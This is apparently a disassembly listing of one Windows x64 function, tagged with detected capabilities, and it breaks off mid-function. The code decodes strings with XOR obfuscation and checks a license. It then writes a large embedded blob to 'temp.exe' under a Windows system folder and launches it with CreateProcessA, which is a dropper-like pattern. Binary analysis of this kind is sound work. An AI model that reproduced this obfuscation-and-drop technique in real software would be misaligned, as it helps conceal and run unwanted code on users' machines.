Function at 0x14004b310
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push rbp
push r14
push r15
lea rbp, [rax - 0x1b8]
sub rsp, 0x2a0
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
movaps xmmword [rax - 0x48], xmm8
movaps xmmword [rax - 0x58], xmm9
movaps xmmword [rax - 0x68], xmm10
movaps xmmword [rax - 0x78], xmm11
movaps xmmword [rax - 0x88], xmm12
movaps xmmword [rax - 0x98], xmm13
movaps xmmword [rax - 0xa8], xmm14
mov rax, qword [0x140100040]
xor rax, rsp
mov qword [rbp + 0x100], rax
mov rax, qword [0x1403e73d0]
movdqa xmm0, xmmword [0x1400eff30]
movups xmmword [rax + 0x3a38], xmm0
movdqa xmm1, xmmword [0x1400eff50]
movups xmmword [rax + 0x3ab8], xmm1
movdqa xmm0, xmmword [0x1400eff70]
movups xmmword [rax + 0x3ac8], xmm0
movdqa xmm1, xmmword [0x1400f0000]
movups xmmword [rax + 0x3b68], xmm1
movdqa xmm0, xmmword [0x1400f0020]
movups xmmword [rax + 0x3b78], xmm0
movdqa xmm1, xmmword [0x1400effd0]
movups xmmword [rax + 0x3b88], xmm1
movdqa xmm0, xmmword [0x1400f0050]
movups xmmword [rax + 0x3a18], xmm0
mov dword [rax + 0x396c], 0x40c00000
mov dword [rax + 0x3938], 0x40800000
mov dword [rax + 0x3930], 0x41200000
mov dword [rax + 0x3934], 0x41200000
mov dword [rax + 0x3964], 0x40a00000
mov dword [rax + 0x3968], 0x40a00000
mov dword [rax + 0x3974], 0x41000000
mov dword [rax + 0x3978], 0x41000000
call fcn.14004b030
mov rax, qword [0x1403e73d0]
xor ebx, ebx
mov qword [rax + 0x4ad0], rbx
mov qword [rax + 0x4ad8], rbx
mov dword [rax + 0x4ac4], 1
or dword [rax + 0x4ac0], 3
mov dword [rax + 0x4ae0], 0x43fa0000
mov dword [rax + 0x4ae4], 0x43960000
mov dword [rax + 0x4ac8], 1
movsd xmm0, qword [str.hG_Q_]
movsd qword [rsp + 0x60], xmm0
mov eax, dword [0x1400ee818]
mov dword [rsp + 0x68], eax
movdqa xmm10, xmmword [0x1400efd00]
movdqa xmm13, xmmword [0x1400efc80]
movdqa xmm7, xmmword [0x1400efc70]
movdqa xmm6, xmmword [0x1400efc60]
movdqa xmm14, xmmword [0x1400efd40]
movdqa xmm11, xmmword [0x1400efcf0]
movdqa xmm8, xmmword [0x1400f00f0]
mov esi, dword [reloc.WS2_32.dll_accept]
cmp byte [reloc.WLDAP32.dll_Ordinal_60], bl
je 0x14004b672
mov r8d, ebx
cmp esi, 2
jl 0x14004b62d
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm14
movd xmm0, dword [str.hG_Q_]
xorps xmm1, xmm0
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm14
movd xmm0, dword [rsp + 0x64]
xorps xmm1, xmm0
movd dword [rsp + 0x64], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm8
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm14
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x68], xmm1
jmp 0x14004b672
lea r9, [rsp + 0x60]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14004b640
mov r8d, 0x126
lea rdx, reloc.WS2_32.dll_accept
lea rcx, [rsp + 0x60]
call fcn.1400184b0
movsd xmm0, qword [str._PQ_ER]
mov ecx, dword [0x1400ee6e0]
movzx eax, byte [0x1400ee6e4]
movsd qword [rsp + 0x60], xmm0
mov dword [rsp + 0x68], ecx
mov byte [rsp + 0x6c], al
mov r8d, ebx
cmp esi, 2
jl 0x14004b7fe
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str._PQ_ER]
xorps xmm1, xmm0
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm8
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0x68], xmm2
mov r8d, listen
mov eax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14004b810
lea rcx, [rsp + 0x60]
call fcn.14003cc00
xorps xmm12, xmm12
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 0x100
lea r12, [0x1403e8970]
mov r8, r12
xor edx, edx
lea rcx, str.Licencerg
call fcn.140042c00
mov qword [rsp + 0x60], rbx
mov eax, dword [str._T__6]
mov dword [rsp + 0x50], eax
movzx eax, word [0x1400ee750]
mov word [rsp + 0x54], ax
mov byte [rsp + 0x50], Ordinal_79
xor byte [rsp + 0x51], 0x32
xor byte [rsp + 0x52], 0x33
xor byte [rsp + 0x53], 0x34
xor al, 0x35
mov byte [rsp + 0x54], al
xor byte [rsp + 0x55], 0x36
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x50]
call fcn.14003d850
test al, al
je 0x14004ba44
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
mov rdi, 0xffffffffffffffff
nop dword [rax]
inc rdi
cmp byte [r12 + rdi], bl
jne 0x14004b8f0
movabs r14, 0x7fffffffffffffff
cmp rdi, r14
ja 0x14004d4d5
cmp rdi, 0xf
ja 0x14004b939
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], reloc.WS2_32.dll_ntohs
mov r8, rdi
mov rdx, r12
lea rcx, [rsp + 0x60]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rdi + 0x60], bl
jmp 0x14004b9d3
mov rax, rdi
or rax, 0xf
cmp rax, r14
jbe 0x14004b96e
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140055afc
test rax, rax
je 0x14004b9a3
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x14004b9b2
mov r14, rax
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmp rax, rcx
cmovb r14, rcx
lea rcx, [r14 + 1]
test rcx, rcx
jne 0x14004b98b
mov r15, rbx
jmp 0x14004b9b2
cmp rcx, 0x1000
jb 0x14004b9aa
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14004d4db
jmp 0x14004b953
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140055afc
mov r15, rax
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], r14
mov r8, rdi
mov rdx, r12
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
mov byte [r15 + rdi], bl
lea rdx, [rsp + 0x60]
lea rcx, [0x1403e73f0]
call fcn.140063180
cmp byte [0x1403e7600], bl
je 0x14004b9f5
mov byte [0x1403e73e9], 1
jmp 0x14004ba50
mov eax, dword [str.t_A_G6]
mov dword [rsp + 0x50], eax
movzx eax, word [0x1400ee758]
mov word [rsp + 0x54], ax
mov byte [rsp + 0x50], 0x45
xor byte [rsp + 0x51], 0x32
xor byte [rsp + 0x52], 0x33
xor byte [rsp + 0x53], 0x34
xor al, 0x35
mov byte [rsp + 0x54], al
xor byte [rsp + 0x55], 0x36
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rsp + 0x50]
lea rdx, str.Wrong_License
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp byte [0x1403e73e9], bl
je 0x14004d46f
call fcn.14001ab00
mov rax, qword [0x1403e73d0]
mov qword [rax + 0x4ad0], rbx
mov qword [rax + 0x4ad8], rbx
mov dword [rax + 0x4ac4], 1
or dword [rax + 0x4ac0], 3
mov dword [rax + 0x4ae0], 0x43fa0000
mov dword [rax + 0x4ae4], 0x43960000
mov dword [rax + 0x4ac8], 1
movsd xmm0, qword [0x1400ee738]
movsd qword [rsp + 0x60], xmm0
movzx ecx, word [0x1400ee740]
mov word [rsp + 0x68], cx
movzx eax, byte [0x1400ee742]
mov byte [rsp + 0x60], 0x59
xor byte [rsp + 0x61], 0x32
xor byte [rsp + 0x62], 0x33
xor byte [rsp + 0x63], 0x34
xor byte [rsp + 0x64], 0x35
xor byte [rsp + 0x65], 0x36
xor byte [rsp + 0x66], 0x37
xor byte [rsp + 0x67], 0x38
xor cl, 0x39
mov byte [rsp + 0x68], cl
xor byte [rsp + 0x69], 0x3a
xor al, 0x3b
mov byte [rsp + 0x6a], al
mov r8d, 0x126
lea rdx, reloc.WS2_32.dll_accept
lea rcx, [rsp + 0x60]
call fcn.1400184b0
mov eax, dword [str.eSQG5]
mov dword [rsp + 0x50], eax
movzx eax, byte [0x1400ee90c]
mov byte [rsp + 0x50], 0x54
xor byte [rsp + 0x51], 0x32
xor byte [rsp + 0x52], 0x33
xor byte [rsp + 0x53], 0x34
xor al, 0x35
mov byte [rsp + 0x54], al
lea rcx, [rsp + 0x50]
call fcn.140046330
test al, al
je 0x14004ce9d
movsd xmm0, qword [0x1400ee6f0]
movsd qword [rsp + 0x60], xmm0
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rsp + 0x60], 0x45
xor byte [rsp + 0x61], 0x32
xor byte [rsp + 0x62], 0x33
xor byte [rsp + 0x63], 0x34
xor byte [rsp + 0x64], 0x35
xor byte [rsp + 0x65], 0x36
xor byte [rsp + 0x66], 0x37
xor byte [rsp + 0x67], 0x38
xor al, 0x39
mov byte [rsp + 0x68], al
lea rcx, [rsp + 0x60]
call fcn.140048240
movss xmm9, dword [0x1400efa98]
test al, al
je 0x14004c21b
movsd xmm0, qword [str.bFR__E_r]
movsd qword [rsp + 0x60], xmm0
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rsp + 0x60], 0x53
xor byte [rsp + 0x61], 0x32
xor byte [rsp + 0x62], 0x33
xor byte [rsp + 0x63], 0x34
xor byte [rsp + 0x64], 0x35
xor byte [rsp + 0x65], 0x36
xor byte [rsp + 0x66], 0x37
xor byte [rsp + 0x67], 0x38
xor al, 0x39
mov byte [rsp + 0x68], al
lea rcx, [rsp + 0x60]
call fcn.14003cc00
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.14001ea50
movsd xmm4, qword [str.dWQASTL_]
movsd qword [rsp + 0x60], xmm4
movzx ecx, word [0x1400ee898]
mov word [rsp + 0x68], cx
movzx eax, byte [0x1400ee89a]
mov byte [rsp + 0x60], 0x55
xor byte [rsp + 0x61], 0x32
xor byte [rsp + 0x62], 0x33
xor byte [rsp + 0x63], 0x34
xor byte [rsp + 0x64], 0x35
xor byte [rsp + 0x65], 0x36
xor byte [rsp + 0x66], 0x37
xor byte [rsp + 0x67], 0x38
xor cl, 0x39
mov byte [rsp + 0x68], cl
xor byte [rsp + 0x69], 0x3a
xor al, 0x3b
mov byte [rsp + 0x6a], al
movdqa xmm0, xmmword [0x1400eff00]
movups xmmword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x50]
call fcn.14003cc70
movsd xmm0, qword [0x1400ee828]
movsd qword [rsp + 0x60], xmm0
mov ecx, dword [0x1400ee830]
mov dword [rsp + 0x68], ecx
movzx eax, word [0x1400ee834]
mov word [rsp + 0x6c], ax
cmp byte [0x1400ee835], bl
je 0x14004be43
mov r8d, ebx
cmp esi, 2
jl 0x14004bdf9
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm14
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1400ee828]
xorps xmm1, xmm0
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm8
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0x68], xmm2
mov r8d, listen
mov eax, r8d
lea r9, [rsp + 0x60]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14004be10
lea rcx, [rsp + 0x60]
call fcn.14003cc00
movsd xmm0, qword [0x1400ee858]
movsd qword [rsp + 0x60], xmm0
movzx eax, word [0x1400ee860]
movaps xmm1, xmm9
movaps xmm0, xmm12
movzx edx, byte [0x1400ee862]
mov word [rsp + 0x68], ax
call fcn.14001ea50
mov byte [rsp + 0x60], reloc.WLDAP32.dll_Ordinal_50
xor byte [rsp + 0x61], 0x32
xor byte [rsp + 0x62], 0x33
xor byte [rsp + 0x63], 0x34
xor byte [rsp + 0x64], 0x35
xor byte [rsp + 0x65], 0x36
xor byte [rsp + 0x66], 0x37
xor byte [rsp + 0x67], 0x38
xor byte [rsp + 0x68], 0x39
xor byte [rsp + 0x69], 0x3a
xor dl, 0x3b
mov byte [rsp + 0x6a], dl
lea rcx, [rsp + 0x60]
call fcn.14003cc00
movsd xmm0, qword [str.gWAGYY]
movsd qword [rsp + 0x60], xmm0
movzx eax, word [0x1400ee808]
mov word [rsp + 0x68], ax
cmp byte [0x1400ee809], bl
je 0x14004bf12
mov byte [rsp + 0x60], 0x56
xor byte [rsp + 0x61], 0x32
xor byte [rsp + 0x62], 0x33
xor byte [rsp + 0x63], 0x34
xor byte [rsp + 0x64], 0x35
xor byte [rsp + 0x65], 0x36
xor byte [rsp + 0x66], 0x37
xor byte [rsp + 0x67], 0x38
xor byte [rsp + 0x68], 0x39
xor byte [rsp + 0x69], 0x3a
lea rcx, [rsp + 0x60]
call fcn.14003cc00
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.14001ea50
mov edx, dword [0x1400ee864]
mov dword [rsp + 0x50], edx
cmp byte [0x1400ee867], bl
je 0x14004bfe2
mov r8d, ebx
cmp esi, 2
jl 0x14004bfab
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm14
movd xmm0, edx
xorps xmm1, xmm0
movd dword [rsp + 0x50], xmm1
jmp 0x14004bfe2
lea r9, [rsp + 0x50]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x14004bfb0
movdqa xmm0, xmmword [0x1400f0080]
movups xmmword [rsp + 0x60], xmm0
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
call fcn.14003cc70
mov rcx, qword [0x1403e73d0]
mov rax, qword [rcx + 0x40a0]
mov byte [rax + 0xcc], 1
mov rax, qword [rcx + 0x40a0]
cmp byte [rax + 0xcf], bl
jne 0x14004c035
mov qword [rsp + 0x60], rbx
movaps xmm1, xmm9
lea rcx, [rsp + 0x60]
call fcn.14001e8e0
mov eax, dword [str.SFZV7]
mov dword [rsp + 0x50], eax
movzx eax, word [0x1400ee748]
mov word [rsp + 0x54], ax
movzx eax, byte [0x1400ee74a]
mov dword [rsp + 0x64], 0x41c80000
mov dword [rsp + 0x60], 0x43480000
mov byte [rsp + 0x50], Ordinal_79
xor byte [rsp + 0x51], 0x32
xor byte [rsp + 0x52], 0x33
xor byte [rsp + 0x53], 0x34
xor byte [rsp + 0x54], 0x35
xor byte [rsp + 0x55], 0x36
xor al, 0x37
mov byte [rsp + 0x56], al
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x50]
call fcn.14003d850
test al, al
je 0x14004c1df
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x10]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp - 0x10]
call fcn.14004e150
mov r8d, 0x2a4600
lea rdx, [0x140100140]
lea rcx, [rbp - 0x10]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 8]
call fcn.14004e970
test rax, rax
jne 0x14004c0f9
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x10]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x7c], xmm0
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
mov dword [rbp - 0x1c], eax
mov dword [rbp - 0x80], 0x68
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x80]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:Windows_securityApplicationIdPolicyManagement_temp.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x14004c192
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x10], rax
mov rax, qword [rbp - 0x10]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x14], edx
lea rcx, [rbp - 8]
call fcn.14004e0e0
lea rcx, [rbp]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x98]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov byte [0x1403e73ea], 1
mov r8, qword [0x1403e73d0]
mov rdx, qword [r8 + 0x40a0]
cmp byte [rdx + 0xcf], bl
jne 0x14004c21b
mov r8, qword [r8 + 0x4f28]
test r8, r8
je 0x14004c21b
movsx rax, word [r8 + 0x78]
imul rcx, rax, 0x2c
mov rax, qword [r8 + 8]
test byte [rcx + rax + 4], 8
jne 0x14004c21b
dec dword [rdx + 0x108]
mov rax, qword [str.bB_SSE8]
mov qword [rsp + 0x50], rax
cmp byte [0x1400ee83f], bl
je 0x14004c352
mov r8d, ebx
cmp esi, 2
jl 0x14004c314
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm14
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x50]
xorps xmm2, xmm1
movd dword [rsp + 0x50], xmm2
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x54]
xorps xmm2, xmm1
movd dword [rsp + 0x54], xmm2
jmp 0x14004c352
lea r9, [rsp + 0x50]
nop dword [rax]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14004c320
lea rcx, [rsp + 0x50]
call fcn.140048240
test al, al
je 0x14004ca4c
movsd xmm0, qword [str.bFR__E_r]
movsd qword [rsp + 0x60], xmm0
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rsp + 0x60], 0x53
xor byte [rsp + 0x61], 0x32
xor byte [rsp + 0x62], 0x33
xor byte [rsp + 0x63], 0x34
xor byte [rsp + 0x64], 0x35
xor byte [rsp + 0x65], 0x36
xor byte [rsp + 0x66], 0x37
xor byte [rsp + 0x67], 0x38
xor al, 0x39
mov byte [rsp + 0x68], al
lea rcx, [rsp + 0x60]
call fcn.14003cc00
movaps xmm1, xmm9
movaps xmm0, xmm12
call fcn.14001ea50
movups xmm4, xmmword [str.bW_]
movups xmmword [rsp + 0x60], xmm4
movdqa xmm0, xmm4
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x14004c5d2
mov r8d, ebx
cmp esi, 2
jl 0x14004c59a
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm14
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm4
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rsp + 0x60], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm7
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm8
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm13
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x68]
xorps xmm2, xmm1
movd dword [rsp + 0x68], xmm2
movdqa xmm3, xmmword [0x1400efc90]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
